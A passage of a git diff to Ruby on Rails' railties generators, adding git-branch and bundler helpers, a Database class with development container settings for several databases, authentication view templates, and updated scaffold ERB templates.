         create_file("#{destination}/.keep") if keeps?
       end
+
+      def user_default_branch
+        @user_default_branch ||= capture_command("git config init.defaultbranch").strip.presence || "main"
+      end
+
+      def git_init_command
+        if capture_command("git config init.defaultbranch").present?
+          return "git init"
+        end
+
+        git_version = `git --version`[/\d+\.\d+\.\d+/]
+
+        if Gem::Version.new(git_version) >= Gem::Version.new("2.28.0")
+          "git init -b main"
+        else
+          "git init && git symbolic-ref HEAD refs/heads/main"
+        end
+      end
+
+      def edge_branch
+        self.class.edge_branch
+      end
+
+      def dockerfile_chown_directories
+        directories = %w(log tmp)
+
+        directories << "storage" unless skip_storage?
+        directories << "db" unless skip_active_record?
+
+        directories.sort
+      end
+
+      def database
+        @database ||= Database.build(options[:database])
+      end
     end
   end
 end
diff --git a/railties/lib/rails/generators/app_name.rb b/railties/lib/rails/generators/app_name.rb
new file mode 100644
index 0000000000000..f1d5d32fb7c26
--- /dev/null
+++ b/railties/lib/rails/generators/app_name.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module Rails
+  module Generators
+    module AppName # :nodoc:
+      RESERVED_NAMES = %w(application destroy plugin runner test)
+
+      private
+        def app_name
+          @app_name ||= original_app_name.parameterize(preserve_case: true).underscore
+        end
+
+        def original_app_name
+          @original_app_name ||= (options[:name] || File.basename(destination_root))
+        end
+
+        def app_const_base
+          @app_const_base ||= app_name.gsub(/\W/, "_").squeeze("_").camelize
+        end
+        alias :camelized :app_const_base
+
+        def app_const
+          @app_const ||= "#{app_const_base}::Application"
+        end
+
+        def valid_const?
+          if /^\d/.match?(app_const)
+            raise Error, "Invalid application name #{original_app_name}. Please give a name which does not start with numbers."
+          elsif RESERVED_NAMES.include?(original_app_name)
+            raise Error, "Invalid application name #{original_app_name}. Please give a " \
+                         "name which does not match one of the reserved rails " \
+                         "words: #{RESERVED_NAMES.join(", ")}"
+          elsif Object.const_defined?(app_const_base)
+            raise Error, "Invalid application name #{original_app_name}, constant #{app_const_base} is already in use. Please choose another application name."
+          end
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index a650c52626d7b..63f5a1bb8a51a 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 begin
   require "thor/group"
 rescue LoadError
@@ -16,9 +18,18 @@ class Base < Thor::Group
       include Thor::Actions
       include Rails::Generators::Actions
 
+      class_option :skip_namespace, type: :boolean, default: false,
+                                    desc: "Skip namespace (affects only isolated engines)"
+      class_option :skip_collision_check, type: :boolean, default: false,
+                                          desc: "Skip collision check"
+
       add_runtime_options!
       strict_args_position!
 
+      def self.exit_on_failure? # :nodoc:
+        false
+      end
+
       # Returns the source root for this generator using default_source_root as default.
       def self.source_root(path = nil)
         @_source_root = path if path
@@ -42,7 +53,7 @@ def self.desc(description = nil)
       # is removed.
       def self.namespace(name = nil)
         return super if name
-        @namespace ||= super.sub(/_generator$/, "").sub(/:generators:/, ":")
+        @namespace ||= super.delete_suffix("_generator").sub(/:generators:/, ":")
       end
 
       # Convenience method to hide this generator from the available ones when
@@ -68,22 +79,22 @@ def self.hide!
       #
       # For example, if the user invoke the controller generator as:
       #
-      #   rails generate controller Account --test-framework=test_unit
+      #   $ bin/rails generate controller Account --test-framework=test_unit
       #
       # The controller generator will then try to invoke the following generators:
       #
       #   "rails:test_unit", "test_unit:controller", "test_unit"
       #
       # Notice that "rails:generators:test_unit" could be loaded as well, what
-      # Rails looks for is the first and last parts of the namespace. This is what
-      # allows any test framework to hook into Rails as long as it provides any
+      # \Rails looks for is the first and last parts of the namespace. This is what
+      # allows any test framework to hook into \Rails as long as it provides any
       # of the hooks above.
       #
       # ==== Options
       #
       # The first and last part used to find the generator to be invoked are
       # guessed based on class invokes hook_for, as noticed in the example above.
-      # This can be customized with two options: :in and :as.
+      # This can be customized with two options: +:in+ and +:as+.
       #
       # Let's suppose you are creating a generator that needs to invoke the
       # controller generator from test unit. Your first attempt is:
@@ -97,7 +108,7 @@ def self.hide!
       #   "test_unit:awesome", "test_unit"
       #
       # Which is not the desired lookup. You can change it by providing the
-      # :as option:
+      # +:as+ option:
       #
       #   class AwesomeGenerator < Rails::Generators::Base
       #     hook_for :test_framework, as: :controller
@@ -108,7 +119,7 @@ def self.hide!
       #   "test_unit:controller", "test_unit"
       #
       # Similarly, if you want it to also look up in the rails namespace, you
-      # just need to provide the :in value:
+      # just need to provide the +:in+ value:
       #
       #   class AwesomeGenerator < Rails::Generators::Base
       #     hook_for :test_framework, in: :rails, as: :controller
@@ -123,11 +134,11 @@ def self.hide!
       # All hooks come with switches for user interface. If you do not want
       # to use any test framework, you can do:
       #
-      #   rails generate controller Account --skip-test-framework
+      #   $ bin/rails generate controller Account --skip-test-framework
       #
       # Or similarly:
       #
-      #   rails generate controller Account --no-test-framework
+      #   $ bin/rails generate controller Account --no-test-framework
       #
       # ==== Boolean hooks
       #
@@ -139,7 +150,7 @@ def self.hide!
       #
       # Then, if you want webrat to be invoked, just supply:
       #
-      #   rails generate controller Account --webrat
+      #   $ bin/rails generate controller Account --webrat
       #
       # The hooks lookup is similar as above:
       #
@@ -178,6 +189,13 @@ def self.hook_for(*names, &block)
             class_option(name, defaults.merge!(options))
           end
 
+          klass = self
+
+          singleton_class.define_method("#{name}_generator") do
+            value = class_options[name].default
+            Rails::Generators.find_by_namespace(klass.generator_name, value)
+          end
+
           hooks[name] = [ in_base, as_hook ]
           invoke_from_option(name, options, &block)
         end
@@ -190,12 +208,13 @@ def self.remove_hook_for(*names)
         remove_invocation(*names)
 
         names.each do |name|
+          singleton_class.undef_method("#{name}_generator")
           hooks.delete(name)
         end
       end
 
       # Make class option aware of Rails::Generators.options and Rails::Generators.aliases.
-      def self.class_option(name, options = {}) #:nodoc:
+      def self.class_option(name, options = {}) # :nodoc:
         options[:desc]    = "Indicates when to generate #{name.to_s.humanize.downcase}" unless options.key?(:desc)
         options[:aliases] = default_aliases_for_option(name, options)
         options[:default] = default_value_for_option(name, options)
@@ -203,7 +222,7 @@ def self.class_option(name, options = {}) #:nodoc:
       end
 
       # Returns the default source root for a given generator. This is used internally
-      # by rails to set its generators source root. If you want to customize your source
+      # by Rails to set its generators source root. If you want to customize your source
       # root, you should use source_root.
       def self.default_source_root
         return unless base_name && generator_name
@@ -215,18 +234,18 @@ def self.default_source_root
       # Returns the base root for a common set of generators. This is used to dynamically
       # guess the default source root.
       def self.base_root
-        File.dirname(__FILE__)
+        __dir__
       end
 
       # Cache source root and add lib/generators/base/generator/templates to
       # source paths.
-      def self.inherited(base) #:nodoc:
+      def self.inherited(base) # :nodoc:
         super
 
         # Invoke source_root so the default_source_root is set.
         base.source_root
 
-        if base.name && base.name !~ /Base$/
+        if base.name && !base.name.end_with?("Base")
           Rails::Generators.subclasses << base
 
           Rails::Generators.templates_path.each do |path|
@@ -240,11 +259,12 @@ def self.inherited(base) #:nodoc:
       end
 
       private
-
         # Check whether the given class names are already taken by user
         # application or Ruby on Rails.
         def class_collisions(*class_names)
           return unless behavior == :invoke
+          return if options.skip_collision_check?
+          return if options.force?
 
           class_names.flatten.each do |class_name|
             class_name = class_name.to_s
@@ -257,8 +277,8 @@ def class_collisions(*class_names)
 
             if last && last.const_defined?(last_name.camelize, false)
               raise Error, "The name '#{class_name}' is either already used in your application " \
-                           "or reserved by Ruby on Rails. Please choose an alternative and run "  \
-                           "this generator again."
+                           "or reserved by Ruby on Rails. Please choose an alternative or use --skip-collision-check "  \
+                           "or --force to skip this check and run this generator again."
             end
           end
         end
@@ -271,28 +291,58 @@ def extract_last_module(nesting) # :doc:
           end
         end
 
-        # Use Rails default banner.
+        # Wrap block with namespace of current application
+        # if namespace exists and is not skipped
+        def module_namespacing(&block) # :doc:
+          content = capture(&block)
+          content = wrap_with_namespace(content) if namespaced?
+          concat(content)
+        end
+
+        def indent(content, multiplier = 2) # :doc:
+          spaces = " " * multiplier
+          content.each_line.map { |line| line.blank? ? line : "#{spaces}#{line}" }.join
+        end
+
+        def wrap_with_namespace(content) # :doc:
+          content = indent(content).chomp
+          "module #{namespace.name}\n#{content}\nend\n"
+        end
+
+        def namespace # :doc:
+          Rails::Generators.namespace
+        end
+
+        def namespaced? # :doc:
+          !options[:skip_namespace] && namespace
+        end
+
+        def namespace_dirs
+          @namespace_dirs ||= namespace.name.split("::").map(&:underscore)
+        end
+
+        def namespaced_path # :doc:
+          @namespaced_path ||= namespace_dirs.join("/")
+        end
+
+        # Use \Rails default banner.
         def self.banner # :doc:
-          "rails generate #{namespace.sub(/^rails:/, '')} #{arguments.map(&:usage).join(' ')} [options]".gsub(/\s+/, " ")
+          "bin/rails generate #{namespace.delete_prefix("rails:")} #{arguments.map(&:usage).join(' ')} [options]".gsub(/\s+/, " ")
         end
 
         # Sets the base_name taking into account the current class namespace.
         def self.base_name # :doc:
-          @base_name ||= begin
-            if base = name.to_s.split("::").first
-              base.underscore
-            end
+          @base_name ||= if base = name.to_s.split("::").first
+            base.underscore
           end
         end
 
         # Removes the namespaces and get the generator name. For example,
         # Rails::Generators::ModelGenerator will return "model" as generator name.
         def self.generator_name # :doc:
-          @generator_name ||= begin
-            if generator = name.to_s.split("::").last
-              generator.sub!(/Generator$/, "")
-              generator.underscore
-            end
+          @generator_name ||= if generator = name.to_s.split("::").last
+            generator.delete_suffix!("Generator")
+            generator.underscore
           end
         end
 
@@ -322,13 +372,13 @@ def self.default_for_option(config, name, options, default) # :doc:
         end
 
         # Keep hooks configuration that are used on prepare_for_invocation.
-        def self.hooks #:nodoc:
+        def self.hooks # :nodoc:
           @hooks ||= from_superclass(:hooks, {})
         end
 
         # Prepare class invocation to search on Rails namespace if a previous
         # added hook is being used.
-        def self.prepare_for_invocation(name, value) #:nodoc:
+        def self.prepare_for_invocation(name, value) # :nodoc:
           return super unless value.is_a?(String) || value.is_a?(Symbol)
 
           if value && constants = hooks[name]
diff --git a/railties/lib/rails/generators/bundle_helper.rb b/railties/lib/rails/generators/bundle_helper.rb
new file mode 100644
index 0000000000000..d9dd136f887bf
--- /dev/null
+++ b/railties/lib/rails/generators/bundle_helper.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Rails
+  module Generators
+    module BundleHelper # :nodoc:
+      def bundle_command(command, env = {}, params = {})
+        say_status :run, "bundle #{command}"
+
+        # We are going to shell out rather than invoking Bundler::CLI.new(command)
+        # because `rails new` loads the Thor gem and on the other hand bundler uses
+        # its own vendored Thor, which could be a different version. Running both
+        # things in the same process is a recipe for a night with paracetamol.
+        #
+        # Thanks to James Tucker for the Gem tricks involved in this call.
+        _bundle_command = Gem.bin_path("bundler", "bundle")
+
+        require "bundler"
+        Bundler.with_original_env do
+          exec_bundle_command(_bundle_command, command, env, params)
+        end
+      end
+
+      private
+        def exec_bundle_command(bundle_command, command, env, params)
+          full_command = %Q["#{Gem.ruby}" "#{bundle_command}" #{command}]
+          if options[:quiet] || params[:quiet]
+            system(env, full_command, out: File::NULL)
+          else
+            system(env, full_command)
+          end
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/css/assets/assets_generator.rb b/railties/lib/rails/generators/css/assets/assets_generator.rb
deleted file mode 100644
index 20baf31a340c6..0000000000000
--- a/railties/lib/rails/generators/css/assets/assets_generator.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require "rails/generators/named_base"
-
-module Css # :nodoc:
-  module Generators # :nodoc:
-    class AssetsGenerator < Rails::Generators::NamedBase # :nodoc:
-      source_root File.expand_path("../templates", __FILE__)
-
-      def copy_stylesheet
-        copy_file "stylesheet.css", File.join("app/assets/stylesheets", class_path, "#{file_name}.css")
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb
deleted file mode 100644
index cf534030f90cc..0000000000000
--- a/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require "rails/generators/named_base"
-
-module Css # :nodoc:
-  module Generators # :nodoc:
-    class ScaffoldGenerator < Rails::Generators::NamedBase # :nodoc:
-      # In order to allow the Sass generators to pick up the default Rails CSS and
-      # transform it, we leave it in a standard location for the CSS stylesheet
-      # generators to handle. For the simple, default case, just copy it over.
-      def copy_stylesheet
-        dir = Rails::Generators::ScaffoldGenerator.source_root
-        file = File.join(dir, "scaffold.css")
-        create_file "app/assets/stylesheets/scaffold.css", File.read(file)
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/generators/database.rb b/railties/lib/rails/generators/database.rb
new file mode 100644
index 0000000000000..bb3f1c723314a
--- /dev/null
+++ b/railties/lib/rails/generators/database.rb
@@ -0,0 +1,287 @@
+# frozen_string_literal: true
+
+module Rails
+  module Generators
+    class Database
+      DATABASES = %w( mysql trilogy postgresql sqlite3 mariadb-mysql mariadb-trilogy )
+
+      module MySQL
+        def name
+          "mysql"
+        end
+
+        def port
+          3306
+        end
+
+        def service
+          {
+            "image" => "mysql/mysql-server:8.0",
+            "restart" => "unless-stopped",
+            "environment" => {
+              "MYSQL_ALLOW_EMPTY_PASSWORD" => "true",
+              "MYSQL_ROOT_HOST" => "%"
+            },
+            "volumes" => ["mysql-data:/var/lib/mysql"],
+            "networks" => ["default"],
+          }
+        end
+
+        def socket
+          @socket ||= [
+            "/tmp/mysql.sock",                        # default
+            "/var/run/mysqld/mysqld.sock",            # debian/gentoo
+            "/var/tmp/mysql.sock",                    # freebsd
+            "/var/lib/mysql/mysql.sock",              # fedora
+            "/opt/local/lib/mysql/mysql.sock",        # fedora
+            "/opt/local/var/run/mysqld/mysqld.sock",  # mac + darwinports + mysql
+            "/opt/local/var/run/mysql4/mysqld.sock",  # mac + darwinports + mysql4
+            "/opt/local/var/run/mysql5/mysqld.sock",  # mac + darwinports + mysql5
+            "/opt/lampp/var/mysql/mysql.sock"         # xampp for linux
+          ].find { |f| File.exist?(f) } unless Gem.win_platform?
+        end
+
+        def host
+          "127.0.0.1"
+        end
+      end
+
+      module MariaDB
+        def name
+          "mariadb"
+        end
+
+        def port
+          3306
+        end
+
+        def service
+          {
+            "image" => "mariadb:10.5",
+            "restart" => "unless-stopped",
+            "networks" => ["default"],
+            "volumes" => ["mariadb-data:/var/lib/mysql"],
+            "environment" => {
+              "MARIADB_ALLOW_EMPTY_ROOT_PASSWORD" => "true",
+            },
+          }
+        end
+      end
+
+      class << self
+        def build(database_name)
+          case database_name
+          when "mysql" then MySQL2.new
+          when "postgresql" then PostgreSQL.new
+          when "trilogy" then Trilogy.new
+          when "sqlite3" then SQLite3.new
+          when "mariadb-mysql" then MariaDBMySQL2.new
+          when "mariadb-trilogy" then MariaDBTrilogy.new
+          else Null.new
+          end
+        end
+
+        def all
+          @all ||= [
+            MySQL2.new,
+            PostgreSQL.new,
+            SQLite3.new,
+            MariaDBMySQL2.new,
+            MariaDBTrilogy.new
+          ]
+        end
+      end
+
+      def name
+        raise NotImplementedError
+      end
+
+      def template
+        raise NotImplementedError
+      end
+
+      def service
+        raise NotImplementedError
+      end
+
+      def port
+        raise NotImplementedError
+      end
+
+      def feature_name
+        raise NotImplementedError
+      end
+
+      def gem
+        raise NotImplementedError
+      end
+
+      def base_package
+        raise NotImplementedError
+      end
+
+      def build_package
+        raise NotImplementedError
+      end
+
+      def socket; end
+      def host; end
+
+      def feature
+        return unless feature_name
+
+        { feature_name => {} }
+      end
+
+      def volume
+        return unless service
+
+        "#{name}-data"
+      end
+
+      class MySQL2 < Database
+        include MySQL
+
+        def template
+          "config/databases/mysql.yml"
+        end
+
+        def gem
+          ["mysql2", ["~> 0.5"]]
+        end
+
+        def base_package
+          "default-mysql-client"
+        end
+
+        def build_package
+          "default-libmysqlclient-dev"
+        end
+
+        def feature_name
+          "ghcr.io/rails/devcontainer/features/mysql-client"
+        end
+      end
+
+      class PostgreSQL < Database
+        def name
+          "postgres"
+        end
+
+        def template
+          "config/databases/postgresql.yml"
+        end
+
+        def service
+          {
+            "image" => "postgres:18",
+            "restart" => "unless-stopped",
+            "networks" => ["default"],
+            "volumes" => ["postgres-data:/var/lib/postgresql"],
+            "environment" => {
+              "POSTGRES_USER" => "postgres",
+              "POSTGRES_PASSWORD" => "postgres"
+            }
+          }
+        end
+
+        def port
+          5432
+        end
+
+        def gem
+          ["pg", ["~> 1.1"]]
+        end
+
+        def base_package
+          "postgresql-client"
+        end
+
+        def build_package
+          "libpq-dev"
+        end
+
+        def feature_name
+          "ghcr.io/rails/devcontainer/features/postgres-client"
+        end
+      end
+
+      class Trilogy < Database
+        include MySQL
+
+        def template
+          "config/databases/trilogy.yml"
+        end
+
+        def gem
+          ["trilogy", ["~> 2.7"]]
+        end
+
+        def base_package
+          "default-mysql-client"
+        end
+
+        def build_package
+          nil
+        end
+
+        def feature_name
+          nil
+        end
+      end
+
+      class SQLite3 < Database
+        def name
+          "sqlite3"
+        end
+
+        def template
+          "config/databases/sqlite3.yml"
+        end
+
+        def service
+          nil
+        end
+
+        def port
+          nil
+        end
+
+        def gem
+          ["sqlite3", [">= 2.1"]]
+        end
+
+        def base_package
+          "sqlite3"
+        end
+
+        def build_package
+          nil
+        end
+
+        def feature_name
+          "ghcr.io/rails/devcontainer/features/sqlite3"
+        end
+      end
+
+      class MariaDBMySQL2 < MySQL2
+        include MariaDB
+      end
+
+      class MariaDBTrilogy < Trilogy
+        include MariaDB
+      end
+
+      class Null < Database
+        def name; end
+        def template; end
+        def service; end
+        def port; end
+        def volume; end
+        def base_package; end
+        def build_package; end
+        def feature_name; end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/erb.rb b/railties/lib/rails/generators/erb.rb
index d5e326d6ee0e1..47ac0eb4bb48f 100644
--- a/railties/lib/rails/generators/erb.rb
+++ b/railties/lib/rails/generators/erb.rb
@@ -1,10 +1,11 @@
+# frozen_string_literal: true
+
 require "rails/generators/named_base"
 
 module Erb # :nodoc:
   module Generators # :nodoc:
-    class Base < Rails::Generators::NamedBase #:nodoc:
+    class Base < Rails::Generators::NamedBase # :nodoc:
       private
-
         def formats
           [format]
         end
@@ -17,8 +18,8 @@ def handler
           :erb
         end
 
-        def filename_with_extensions(name, format = self.format)
-          [name, format, handler].compact.join(".")
+        def filename_with_extensions(name, file_format = format)
+          [name, file_format, handler].compact.join(".")
         end
     end
   end
diff --git a/railties/lib/rails/generators/erb/authentication/authentication_generator.rb b/railties/lib/rails/generators/erb/authentication/authentication_generator.rb
new file mode 100644
index 0000000000000..f7fae73951a1f
--- /dev/null
+++ b/railties/lib/rails/generators/erb/authentication/authentication_generator.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "rails/generators/erb"
+
+module Erb # :nodoc:
+  module Generators # :nodoc:
+    class AuthenticationGenerator < Rails::Generators::Base # :nodoc:
+      hide!
+
+      def create_files
+        template "app/views/passwords/new.html.erb"
+        template "app/views/passwords/edit.html.erb"
+        template "app/views/sessions/new.html.erb"
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/erb/authentication/templates/app/views/passwords/edit.html.erb b/railties/lib/rails/generators/erb/authentication/templates/app/views/passwords/edit.html.erb
new file mode 100644
index 0000000000000..a90524330d060
--- /dev/null
+++ b/railties/lib/rails/generators/erb/authentication/templates/app/views/passwords/edit.html.erb
@@ -0,0 +1,9 @@
+<h1>Update your password</h1>
+
+<%%= tag.div(flash[:alert], style: "color:red") if flash[:alert] %>
+
+<%%= form_with url: password_path(params[:token]), method: :put do |form| %>
+  <%%= form.password_field :password, required: true, autocomplete: "new-password", placeholder: "Enter new password", maxlength: 72 %><br>
+  <%%= form.password_field :password_confirmation, required: true, autocomplete: "new-password", placeholder: "Repeat new password", maxlength: 72 %><br>
+  <%%= form.submit "Save" %>
+<%% end %>
diff --git a/railties/lib/rails/generators/erb/authentication/templates/app/views/passwords/new.html.erb b/railties/lib/rails/generators/erb/authentication/templates/app/views/passwords/new.html.erb
new file mode 100644
index 0000000000000..dab64580edd50
--- /dev/null
+++ b/railties/lib/rails/generators/erb/authentication/templates/app/views/passwords/new.html.erb
@@ -0,0 +1,8 @@
+<h1>Forgot your password?</h1>
+
+<%%= tag.div(flash[:alert], style: "color:red") if flash[:alert] %>
+
+<%%= form_with url: passwords_path do |form| %>
+  <%%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %><br>
+  <%%= form.submit "Email reset instructions" %>
+<%% end %>
diff --git a/railties/lib/rails/generators/erb/authentication/templates/app/views/sessions/new.html.erb b/railties/lib/rails/generators/erb/authentication/templates/app/views/sessions/new.html.erb
new file mode 100644
index 0000000000000..670b58b1ba228
--- /dev/null
+++ b/railties/lib/rails/generators/erb/authentication/templates/app/views/sessions/new.html.erb
@@ -0,0 +1,11 @@
+<%%= tag.div(flash[:alert], style: "color:red") if flash[:alert] %>
+<%%= tag.div(flash[:notice], style: "color:green") if flash[:notice] %>
+
+<%%= form_with url: session_path do |form| %>
+  <%%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %><br>
+  <%%= form.password_field :password, required: true, autocomplete: "current-password", placeholder: "Enter your password", maxlength: 72 %><br>
+  <%%= form.submit "Sign in" %>
+<%% end %>
+<br>
+
+<%%= link_to "Forgot password?", new_password_path %>
diff --git a/railties/lib/rails/generators/erb/controller/controller_generator.rb b/railties/lib/rails/generators/erb/controller/controller_generator.rb
index 36ecfea09bf45..8e13744b2a03f 100644
--- a/railties/lib/rails/generators/erb/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/erb/controller/controller_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/erb"
 
 module Erb # :nodoc:
diff --git a/railties/lib/rails/generators/erb/controller/templates/view.html.erb b/railties/lib/rails/generators/erb/controller/templates/view.html.erb.tt
similarity index 100%
rename from railties/lib/rails/generators/erb/controller/templates/view.html.erb
rename to railties/lib/rails/generators/erb/controller/templates/view.html.erb.tt
diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
index 3f1d9932f6a38..f66be1ee44809 100644
--- a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/erb"
 
 module Erb # :nodoc:
@@ -27,13 +29,12 @@ def copy_view_files
       end
 
       private
-
         def formats
           [:text, :html]
         end
 
         def file_name
-          @_file_name ||= super.gsub(/_mailer/i, "")
+          @_file_name ||= super.sub(/_mailer\z/i, "")
         end
     end
   end
diff --git a/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb.tt b/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb.tt
index 55f3675d49420..116e625bf1ec3 100644
--- a/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb.tt
+++ b/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb.tt
@@ -1,7 +1,7 @@
 <!DOCTYPE html>
 <html>
   <head>
-    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
     <style>
       /* Email styles need to be inline */
     </style>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.html.erb b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb.tt
similarity index 100%
rename from railties/lib/rails/generators/erb/mailer/templates/view.html.erb
rename to railties/lib/rails/generators/erb/mailer/templates/view.html.erb.tt
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb.tt
similarity index 100%
rename from railties/lib/rails/generators/erb/mailer/templates/view.text.erb
rename to railties/lib/rails/generators/erb/mailer/templates/view.text.erb.tt
diff --git a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
index 0d77ef21da1d6..81f43ab8b605e 100644
--- a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/erb"
 require "rails/generators/resource_helpers"
 
@@ -19,10 +21,11 @@ def copy_view_files
             template filename, File.join("app/views", controller_file_path, filename)
           end
         end
+
+        template "partial.html.erb", File.join("app/views", controller_file_path, "_#{singular_name}.html.erb")
       end
 
     private
-
       def available_views
         %w(index edit show new _form)
       end
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
deleted file mode 100644
index 519b6c86038e5..0000000000000
--- a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
+++ /dev/null
@@ -1,34 +0,0 @@
-<%%= form_for(<%= singular_table_name %>) do |f| %>
-  <%% if <%= singular_table_name %>.errors.any? %>
-    <div id="error_explanation">
-      <h2><%%= pluralize(<%= singular_table_name %>.errors.count, "error") %> prohibited this <%= singular_table_name %> from being saved:</h2>
-
-      <ul>
-      <%% <%= singular_table_name %>.errors.full_messages.each do |message| %>
-        <li><%%= message %></li>
-      <%% end %>
-      </ul>
-    </div>
-  <%% end %>
-
-<% attributes.each do |attribute| -%>
-  <div class="field">
-<% if attribute.password_digest? -%>
-    <%%= f.label :password %>
-    <%%= f.password_field :password %>
-  </div>
-
-  <div class="field">
-    <%%= f.label :password_confirmation %>
-    <%%= f.password_field :password_confirmation %>
-<% else -%>
-    <%%= f.label :<%= attribute.column_name %> %>
-    <%%= f.<%= attribute.field_type %> :<%= attribute.column_name %> %>
-<% end -%>
-  </div>
-
-<% end -%>
-  <div class="actions">
-    <%%= f.submit %>
-  </div>
-<%% end %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb.tt b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb.tt
new file mode 100644
index 0000000000000..a367393ad2e13
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb.tt
@@ -0,0 +1,37 @@
+<%%= form_with(model: <%= model_resource_name %>) do |form| %>
+  <%% if <%= singular_table_name %>.errors.any? %>
+    <div style="color: red">
+      <h2><%%= pluralize(<%= singular_table_name %>.errors.count, "error") %> prohibited this <%= singular_table_name %> from being saved:</h2>
+
+      <ul>
+        <%% <%= singular_table_name %>.errors.each do |error| %>
+          <li><%%= error.full_message %></li>
+        <%% end %>
+      </ul>
+    </div>
+  <%% end %>
+
+<% attributes.each do |attribute| -%>
+  <div>
+<% if attribute.password_digest? -%>
+    <%%= form.label :password, style: "display: block" %>
+    <%%= form.password_field :password %>
+  </div>
+
+  <div>
+    <%%= form.label :password_confirmation, style: "display: block" %>
+    <%%= form.password_field :password_confirmation %>
+<% elsif attribute.attachments? -%>
+    <%%= form.label :<%= attribute.column_name %>, style: "display: block" %>
+    <%%= form.<%= attribute.field_type %> :<%= attribute.column_name %>, multiple: true %>
+<% else -%>
+    <%%= form.label :<%= attribute.column_name %>, style: "display: block" %>
+    <%%= form.<%= attribute.field_type %> :<%= attribute.column_name %> %>
+<% end -%>
+  </div>
+
+<% end -%>
+  <div>
+    <%%= form.submit %>
+  </div>
+<%% end %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
deleted file mode 100644
index 81329473d90e3..0000000000000
--- a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Editing <%= singular_table_name.titleize %></h1>
-
-<%%= render 'form', <%= singular_table_name %>: @<%= singular_table_name %> %>
-
-<%%= link_to 'Show', @<%= singular_table_name %> %> |
-<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb.tt b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb.tt
new file mode 100644
index 0000000000000..ce175b3078cf2
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb.tt
@@ -0,0 +1,12 @@
+<%% content_for :title, "Editing <%= human_name.downcase %>" %>
+
+<h1>Editing <%= human_name.downcase %></h1>
+
+<%%= render "form", <%= singular_table_name %>: @<%= singular_table_name %> %>
+
+<br>
+
+<div>
+  <%%= link_to "Show this <%= human_name.downcase %>", <%= model_resource_name(prefix: "@") %> %> |
+  <%%= link_to "Back to <%= human_name.pluralize.downcase %>", <%= index_helper(type: :path) %> %>
+</div>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
deleted file mode 100644
index 5f4904fee1742..0000000000000
--- a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
+++ /dev/null
@@ -1,31 +0,0 @@
-<p id="notice"><%%= notice %></p>
-
-<h1><%= plural_table_name.titleize %></h1>
-
-<table>
-  <thead>
-    <tr>
-<% attributes.reject(&:password_digest?).each do |attribute| -%>
-      <th><%= attribute.human_name %></th>
-<% end -%>
-      <th colspan="3"></th>
-    </tr>
-  </thead>
-
-  <tbody>
-    <%% @<%= plural_table_name %>.each do |<%= singular_table_name %>| %>
-      <tr>
-<% attributes.reject(&:password_digest?).each do |attribute| -%>
-        <td><%%= <%= singular_table_name %>.<%= attribute.name %> %></td>
-<% end -%>
-        <td><%%= link_to 'Show', <%= singular_table_name %> %></td>
-        <td><%%= link_to 'Edit', edit_<%= singular_table_name %>_path(<%= singular_table_name %>) %></td>
